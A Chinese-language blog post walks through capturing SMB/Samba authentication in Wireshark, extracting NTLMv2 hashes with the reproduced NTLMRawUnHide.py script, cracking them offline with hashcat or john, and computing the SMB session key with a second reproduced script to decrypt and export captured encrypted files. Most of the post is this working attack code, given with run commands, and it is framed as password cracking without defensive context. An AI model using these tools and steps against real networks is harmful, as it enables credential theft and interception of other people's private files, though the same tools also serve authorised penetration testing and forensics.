Fourteenth-Day Adventist

  • 首页
  • 随笔
  • 隐私政策
  • RNGesus
  • 摄影画廊
ובחדש הראשון בארבעה עשר יום לחדש פסח ליהוה
ἐάν τι αἰτήσητέ με ἐν τῷ ὀνόματί μου ἐγὼ ποιήσω
  1. 首页
  2. 编程
  3. 正文

破解 Samba/NTLMv2 密码/提取Samba加密文件

2023/12/04 0人点赞 0条评论

Samba现在是默认加密密码了,就算你用的是个很基本的配置文件,里面没指定要加密密码,现在也会默认自动加密这个密码了,但是这个密码是NTLMv2加密的,其实很好破解

首先抓包Samba,要抓到握手验证的那个包,Wireshark过滤是smb2.cmd == 1

Smb Session Startup Request

这里就是包含密码的hash

当然已经有大神帮我们做了个python程序自动提取,只要给它Wireshark抓包的pcapng文件就好

https://github.com/mlgualtieri/NTLMRawUnHide

#!/usr/bin/env python3
# 
# NTLMRawUnhide.py is a Python3 script designed to parse network packet capture 
# files and extract NTLMv2 hashes in a crackable format. The following binary 
# network packet capture formats are supported: *.pcap *.pcapng *.cap *.etl
# 
# This tool was developed to extract NTLMv2 hashes from files generated by 
# native Windows binaries like NETSH.EXE and PKTMON.EXE without conversion.
#
#
# Usage: NTLMRawUnhide.py -i <inputfile> [-o <outputfile>] [-f] [-h] [-q] [-v]
#
#
# Methods to create compatible packet capture files:
#
# > Wireshark: Set capture filter as "tcp port 445"; Save as .pcapng
#
# > tcpdump -i eth0 -w capture.pcap "port 445"
#
# > netsh.exe trace start persistent=yes capture=yes TCP.AnyPort=445 \
#        tracefile=C:\Users\Public\capture.etl
#   netsh.exe trace stop
#
# > pktmon.exe filter add SMB -p 445
#   :: List all filters 
#   pktmon.exe filter list
#   :: Find id of the network adapter (example > Id: 9)
#   pktmon.exe comp list
#   :: pktmon.exe start --etw -p 0 -c [Adapter ID]     
#   pktmon.exe start --etw -p 0 -c 9 
#   :: Will create the file PktMon.etl in current directory
#   pktmon.exe stop
#   :: Cleanup
#   pktmon.exe filter remove
#
#
# Author:   Mike Gualtieri
# Blog:     https://www.mike-gualtieri.com
# Twitter:  https://twitter.com/mlgualtieri
#
# GitHub:   https://github.com/mlgualtieri/NTLMRawUnhide
#
#
# The following URL was very helpful when building this tool:
#     The NTLM Authentication Protocol and Security Support Provider
#     http://davenport.sourceforge.net/ntlm.html
#

import sys, getopt, time
import os.path
from os import path



# The decode_string() function was taken from: 
# https://github.com/b17zr/ntlm_challenger
def decode_string(byte_string):
    return byte_string.decode('UTF-8').replace('\x00', '')


# The decode_int() function was taken from: 
# https://github.com/b17zr/ntlm_challenger
def decode_int(byte_string):
    return int.from_bytes(byte_string, 'little')


# Output our hash to specified outfile
def writeOutfile(output, outstr):
    outstr = outstr + "\n"
    f = open(output, "a")
    f.write(outstr)
    f.close()



# All the magic happens in searchCaptureFile()
def searchCaptureFile(infile, outfile, verbose, follow, quiet, offset = 0):
    
    # Variable initialization
    server_challenge = None


    # NTLMSSP message signatures
    ntlmssp_sig    = b'\x4e\x54\x4c\x4d\x53\x53\x50\x00'	            # NTLMSSP\x00
    ntlmssp_type_1 = b'\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00'    # NTLMSSP\x00 0x01000000
    ntlmssp_type_2 = b'\x4e\x54\x4c\x4d\x53\x53\x50\x00\x02\x00\x00\x00'    # NTLMSSP\x00 0x02000000
    ntlmssp_type_3 = b'\x4e\x54\x4c\x4d\x53\x53\x50\x00\x03\x00\x00\x00'    # NTLMSSP\x00 0x03000000
 


    # Read binary file data
    with open(infile, 'rb') as fp:
        readbuff = fp.read()
        last_byte = len(readbuff)

        #fp.seek(offset,0)
        fp.seek(0,0)
        readbuff = fp.read()



    # Read bytes until the end of the file
    while offset != -1:
        #print("Current scan offset:",offset)
    
        # increment file offset past occurance of ntlm_sig unless start of file
        if offset != 0:
            offset = offset + len(ntlmssp_sig)
    
        offset = readbuff.find(ntlmssp_sig, offset) 
    
    
    
        ### Check for NTLMSSP Message type(s)
    
        # NTLMSSP Message Type 1: Negotiation
        check_ntlm_type = readbuff.find(ntlmssp_type_1, offset, offset + len(ntlmssp_type_1))
        if check_ntlm_type > -1:
            if quiet == False:
                if verbose == True:
                    print("\033[1;37mFound NTLMSSP Message Type 1 :\033[1;32m Negotiation\033[0;37m    \033[1;30m>\033[0;37m Offset", offset,'\033[0;37m')
                else:
                    print("\033[1;37mFound NTLMSSP Message Type 1 :\033[1;32m Negotiation\033[0;37m")
                print()
 


        # NTLMSSP Message Type 2: Challenge
        check_ntlm_type = readbuff.find(ntlmssp_type_2, offset, offset + len(ntlmssp_type_2))
        if check_ntlm_type > -1:
            server_challenge = readbuff[(offset+24):(offset+32)]

            if quiet == False:
                if verbose == True:
                    print("\033[1;37mFound NTLMSSP Message Type 2 :\033[1;32m Challenge      \033[1;30m>\033[0;37m Offset", offset,'\033[0;37m')
                else:
                    print("\033[1;37mFound NTLMSSP Message Type 2 :\033[1;32m Challenge\033[0;37m")


                print("    \033[1;34m>\033[1;37m Server Challenge       :\033[0;97m", server_challenge.hex(),'\033[0;37m')
                print()
 


        # NTLMSSP Message Type 3: Authentication
        check_ntlm_type = readbuff.find(ntlmssp_type_3, offset, offset + len(ntlmssp_type_3))
        if check_ntlm_type > -1:
            if quiet == False:
                if verbose == True:
                    print("\033[1;37mFound NTLMSSP Message Type 3 :\033[1;32m Authentication \033[1;30m>\033[0;37m Offset", offset,'\033[0;37m')
                else:
                    print("\033[1;37mFound NTLMSSP Message Type 3 :\033[1;32m Authentication\033[0;37m")
    
            # Find domain
            domain_length_raw = readbuff[(offset+28):(offset+28+2)]
            domain_length     = decode_int(domain_length_raw)
    
            domain_offset_raw = readbuff[(offset+28+2+2):(offset+28+2+2+4)]
            domain_offset     = decode_int(domain_offset_raw)
    
            domain = readbuff[(offset + domain_offset):(offset + domain_offset + domain_length)]

            if quiet == False:
                print("    \033[1;34m>\033[1;37m Domain                 :\033[0;97m", decode_string(domain),'\033[0;37m')

                if verbose == True:
                    print("      Domain length          :", domain_length)
                    print("      Domain offset          :", domain_offset)
                    print()
    
    
            # Find username
            username_length_raw = readbuff[(offset+36):(offset+36+2)]
            username_length     = decode_int(username_length_raw)
    
            username_offset_raw = readbuff[(offset+36+2+2):(offset+36+2+2+4)]
            username_offset     = decode_int(username_offset_raw)
    
            username = readbuff[(offset + username_offset):(offset + username_offset + username_length)]

            if quiet == False:
                print("    \033[1;34m>\033[1;37m Username               :\033[0;97m", decode_string(username),'\033[0;37m')

                if verbose == True:
                    print("      Username length        :", username_length)
                    print("      Username offset        :", username_offset)
                    print()
    
            # Find workstation
            workstation_length_raw = readbuff[(offset+44):(offset+44+2)]
            workstation_length     = decode_int(workstation_length_raw)
    
            workstation_offset_raw = readbuff[(offset+44+2+2):(offset+44+2+2+4)]
            workstation_offset     = decode_int(workstation_offset_raw)
    
            workstation = readbuff[(offset + workstation_offset):(offset + workstation_offset + workstation_length)]

            if quiet == False:
                print("    \033[1;34m>\033[1;37m Workstation            :\033[0;97m", decode_string(workstation),'\033[0;37m')

                if verbose == True:
                    print("      Workstation length     :", workstation_length)
                    print("      Workstation offset     :", workstation_offset)
                    print()
    
    
            # Find NTLM response
            ntlm_length_raw = readbuff[(offset+20):(offset+20+2)]
            ntlm_length     = decode_int(ntlm_length_raw)
    
            ntlm_offset_raw = readbuff[(offset+20+2+2):(offset+20+2+2+4)]
            ntlm_offset     = decode_int(ntlm_offset_raw)
    
            ntproofstr      = readbuff[(offset + ntlm_offset):(offset + ntlm_offset + 16)]
            ntlmv2_response = readbuff[(offset + ntlm_offset + 16):(offset + ntlm_offset + ntlm_length)]

            if quiet == False:
                if verbose == True:
                    print("      NTLM length            :", ntlm_length)
                    print("      NTLM offset            :", ntlm_offset)
                    print("    \033[1;34m>\033[1;37m NTProofStr             :\033[0;37m", ntproofstr.hex())
                    print("    \033[1;34m>\033[1;37m NTLMv2 Response        :\033[0;37m", ntlmv2_response.hex())
    
                print()
    

            # Prepare NTLMv2 Hash for output
            if server_challenge != None:
                if quiet == False:
                    print("\033[1;37mNTLMv2 Hash recovered:\033[0;97m")

                if ntlm_length == 0:
                    if quiet == False:
                        print("\033[0;37mNTLM NULL session found... no hash to generate\033[0;37m")
                elif domain_length == 0:
                    hash_out = decode_string(username) +"::"+ decode_string(workstation) +":"+ server_challenge.hex() +":"+ ntproofstr.hex() +":"+ ntlmv2_response.hex()

                    print(hash_out)
                    if outfile != '':
                        writeOutfile(outfile, hash_out)
                else:
                    hash_out = decode_string(username) +"::"+ decode_string(domain) +":"+ server_challenge.hex() +":"+ ntproofstr.hex() +":"+ ntlmv2_response.hex()
                    print(hash_out)
                    if outfile != '':
                        writeOutfile(outfile, hash_out)

                print()

                # Reset variable 
                server_challenge = None
            else:
                if quiet == False:
                    print("\033[1;31mServer Challenge not found... can't create crackable hash :-/\033[0;37m")
                    print()

    fp.close()


    # Continue forever if follow is set, until ctrl-c
    if follow == True:
        try:
            time.sleep(1)
            searchCaptureFile(infile, outfile, verbose, follow, quiet, last_byte)
        except KeyboardInterrupt:
            # Gracefully exit on ctrl-c
            print("Bye!")
            pass






# Can a tool be a tool without ASCII Art?
def banner():
    # Start yellow
    print('\033[0;93m                                                              /%(')
    print('                               -= Find NTLMv2 =-          ,@@@@@@@@&')
    print('           /%&@@@@&,            -= hashes w/ =-          %@@@@@@@@@@@*')
    print('         (@@@@@@@@@@@(       -= NTLMRawUnHide.py =-    *@@@@@@@@@@@@@@@.')
    print('        &@@@@@@@@@@@@@@&.                             @@@@@@@@@@@@@@@@@@(')
    print('      ,@@@@@@@@@@@@@@@@@@@/                        .%@@@@@@@@@@@@@@@@@@@@@')
    print('     /@@@@@@@#&@&*.,/@@@@(.                            ,%@@@@&##(%@@@@@@@@@.')
    print('    (@@@@@@@(##(.         .#&@%%(                .&&@@&(            ,/@@@@@@#')
    print('   %@@@@@@&*/((.         #(                           ,(@&            ,%@@@@@@*')
    print('  @@@@@@@&,/(*                                           ,             .,&@@@@@#')
    print(' @@@@@@@/*//,                                                            .,,,**')
    print('   .,,  ...')
    print('                                    .#@@@@@@@(.')
    print('                                   /@@@@@@@@@@@&')
    print('                                   .@@@@@@@@@@@*')
    print('                                     .(&@@@%/.  ..')
    print('                               (@@&     %@@.   .@@@,')
    print('                          /@@#          @@@,         %@&')
    print('                               &@@&.    @@@/    @@@#')
    print('                          .    %@@@(   ,@@@#    @@@(     ,')
    print('                         *@@/         .@@@@@(          #@%')
    print('                          *@@%.      &@@@@@@@@,      /@@@.')
    print('                           .@@@@@@@@@@@&. .*@@@@@@@@@@@/.')
    print('                              .%@@@@%,        /%@@@&(.')
    print()
    # Regular white text
    print('\033[0;97m')



# Print basic usage
def usage():
    # Bold white text
    print('\033[1;37m')
    print('usage: NTLMRawUnHide.py -i <inputfile> [-o <outputfile>] [-f] [-h] [-q] [-v]')
    # Regular white text
    print('\033[0;97m')


# Display verbose help
def showhelp():
    usage()
    print('Main options:')
    print('  -f, --follow               Continuously "follow" (e.g. "read from")')
    print('                             input file for new data')
    print('  -h, --help')
    print('  -i, --input  <inputfile>   Binary packet data input file')
    print('                             (.pcap, .pcapng, .cap, .etl, others?)')
    print('  -o, --output <outputfile>  Output file to record any found NTLM')
    print('                             hashes')
    print('  -q, --quiet                Be a lot more quiet and only output')
    print('                             found NTLM hashes. --quiet will also')
    print('                             disable verbose, if specified.')
    print('  -v, --verbose')
    print()




def main(argv):

    # Check to see if command line args were sent
    if not argv:
        banner()
        usage()
        sys.exit()


    # Default option values
    infile  = ''
    outfile = ''
    verbose = False
    follow  = False
    quiet   = False


    # Process command line args
    try:
        opts, args = getopt.getopt(argv,"hvqfi:o:",["input=","output=","verbose","follow","quiet"])
    except getopt.GetoptError:
        usage()
        sys.exit(2)
    for opt, arg in opts:
        if opt in ('-h','--help'):
            banner()
            showhelp()
            sys.exit()
        elif opt in ("-i", "--input"):
            infile = arg
        elif opt in ("-o", "--output"):
            outfile = arg
        elif opt in ("-f", "--follow"):
            follow  = True
        elif opt in ("-v", "--verbose"):
            verbose = True
        elif opt in ("-q", "--quiet"):
            quiet = True
        else:
            usage()
            sys.exit(2)


    # Check to make sure input file is specified
    if infile == "":
        print("\033[1;31m[!]\033[0;97m Error: Input file not specified.  Did you mean to specify -i?")
        sys.exit()


    # Check to make sure input file exists
    if os.path.exists(infile) == False:
        print("\033[1;31m[!]\033[0;97m Error: Input file not found.")
        sys.exit()


    if quiet == True:
        # Ensure we will be quiet
        verbose = False;
    else:
        banner()


    # If infile is specified, get things kicked off 
    if infile != '':
        # Bold white text
        print("\033[1;37mSearching", infile, "for NTLMv2 hashes...")

        if outfile != '':
            print('Writing output to:', outfile)

        # Regular white text
        print('\033[0;97m')
        searchCaptureFile(infile, outfile, verbose, follow, quiet, 0)



if __name__ == "__main__":
    main(sys.argv[1:])


python NTLMRawUnhide.py -i smb.pcapng -o test1
#-i是输入的文件 -o是指定的输出文件名,里面是需要被破解的密码hash

然后把这个文件扔到hashcat或者john里面,密码简单/常见的话很快就出来了

有空会具体写一下怎么操作但是现在太懒了

有了这个之后就可以破解Samba加密的文件了

如果没加密的话我们可以看到,是可以直接通过Wireshark来export被捕捉到的文件的

如果加密的话,我们就需要去Wireshark Preference里面加session key

那么问题来了,怎么得到这个session key呢?

其实不难,因为我们上面已经有破解密码的方式了,这个session key的格式是这样的:

-Unicode (utf-16le) of password
-MD4 hash of the above (This is also the NTLM Hash of the password)
-Unicode(utf-16le) and Uppercase of Username and Domain/Workgroup together -Calculating the ResponseKeyNT via HMAC_MD5(NTLM Hash, Unicode of User/Domain above)
-NTProofStr (can be calculated but not needed as it is present in the PCAP)
-Calculating the KeyExchangeKey via HMAC_MD5(ResponseKeyNT,NTProofStr)
-Decrypt the Encrypted Session Key via RC4 and the Key Exchange Key to finally get the Random Session Key

Psuedo-code:
user= “test”
domain= “workgroup”
password = “test”
NTProofStr = -------------------------
EncryptedSessionKey = -----------------------------
hash = MD4(password.encode(‘utf16-le’))
ResponseKeyNT(HMAC_MD5(hash, (user.toUpper()+domain.toUpper()).encode(‘utf16-le’)))
KeyExchangeKey=HMAC_MD5(ResponseKeyNT, NTProofStr)
RandomSessionKey = RC4(KeyExchangeKey,EncryptedSessionKey)

同样,已经有大神给了我们python程序来处理这个问题

https://gist.github.com/khr0x40sh/747de1195bbe19f752e5f02dc22fce01#file-random_session_key_calc-py

import hashlib
import hmac
import argparse

#stolen from impacket. Thank you all for your wonderful contributions to the community
try:
    from Cryptodome.Cipher import ARC4
    from Cryptodome.Cipher import DES
    from Cryptodome.Hash import MD4
except Exception:
    LOG.critical("Warning: You don't have any crypto installed. You need pycryptodomex")
    LOG.critical("See https://pypi.org/project/pycryptodomex/")

def generateEncryptedSessionKey(keyExchangeKey, exportedSessionKey):
   cipher = ARC4.new(keyExchangeKey)
   cipher_encrypt = cipher.encrypt

   sessionKey = cipher_encrypt(exportedSessionKey)
   return sessionKey
###

parser = argparse.ArgumentParser(description="Calculate the Random Session Key based on data from a PCAP (maybe).")
parser.add_argument("-u","--user",required=True,help="User name")
parser.add_argument("-d","--domain",required=True, help="Domain name")
parser.add_argument("-p","--password",required=True,help="Password of User")
parser.add_argument("-n","--ntproofstr",required=True,help="NTProofStr. This can be found in PCAP (provide Hex Stream)")
parser.add_argument("-k","--key",required=True,help="Encrypted Session Key. This can be found in PCAP (provide Hex Stream)")
parser.add_argument("-v", "--verbose", action="store_true", help="increase output verbosity")

args = parser.parse_args()

#Upper Case User and Domain
user = str(args.user).upper().encode('utf-16le')
domain = str(args.domain).upper().encode('utf-16le')

#Create 'NTLM' Hash of password
passw = args.password.encode('utf-16le')
hash1 = hashlib.new('md4', passw)
password = hash1.digest()

#Calculate the ResponseNTKey
h = hmac.new(password, digestmod=hashlib.md5)
h.update(user+domain)
respNTKey = h.digest()

#Use NTProofSTR and ResponseNTKey to calculate Key Excahnge Key
NTproofStr = args.ntproofstr.decode('hex')
h = hmac.new(respNTKey, digestmod=hashlib.md5)
h.update(NTproofStr)
KeyExchKey = h.digest()

#Calculate the Random Session Key by decrypting Encrypted Session Key with Key Exchange Key via RC4
RsessKey = generateEncryptedSessionKey(KeyExchKey,args.key.decode('hex'))

if args.verbose:
    print "USER WORK: " + user + "" + domain
    print "PASS HASH: " + password.encode('hex')
    print "RESP NT:   " + respNTKey.encode('hex')
    print "NT PROOF:  " + NTproofStr.encode('hex')
    print "KeyExKey:  " + KeyExchKey.encode('hex')    
print "Random SK: " + RsessKey.encode('hex')

要跑的话用这个格式

python  calc.hash.py --user administrator --domain workgroup \
--password testpassword \
--ntproofstr ---------------------------- \
--key ---------------------------- -v
#我们之前已经讲了怎么破解密码,剩下的都是Wireshark抓包的内容中明文

得到session key之后我们就能通过Wireshark来破解这个Samba加密的文件了,之后点下export就行

标签: Linux Samba Wireshark 编程
最后更新:2023/12/04

Fourteenth-Day Adventist

Two more weeks, trust the plan!

点赞
< 上一篇
下一篇 >

文章评论

razz evil exclaim smile redface biggrin eek confused idea lol mad twisted rolleyes wink cool arrow neutral cry mrgreen drooling persevering
取消回复

Fourteenth-Day Adventist

Two more weeks, trust the plan!

标签聚合
服务器 Global South Duginism Linux 随笔 编程 Dugin bug

COPYRIGHT © 2022 Fourteenth-Day Adventist. ALL RIGHTS RESERVED.

Theme Kratos Made By Seaton Jiang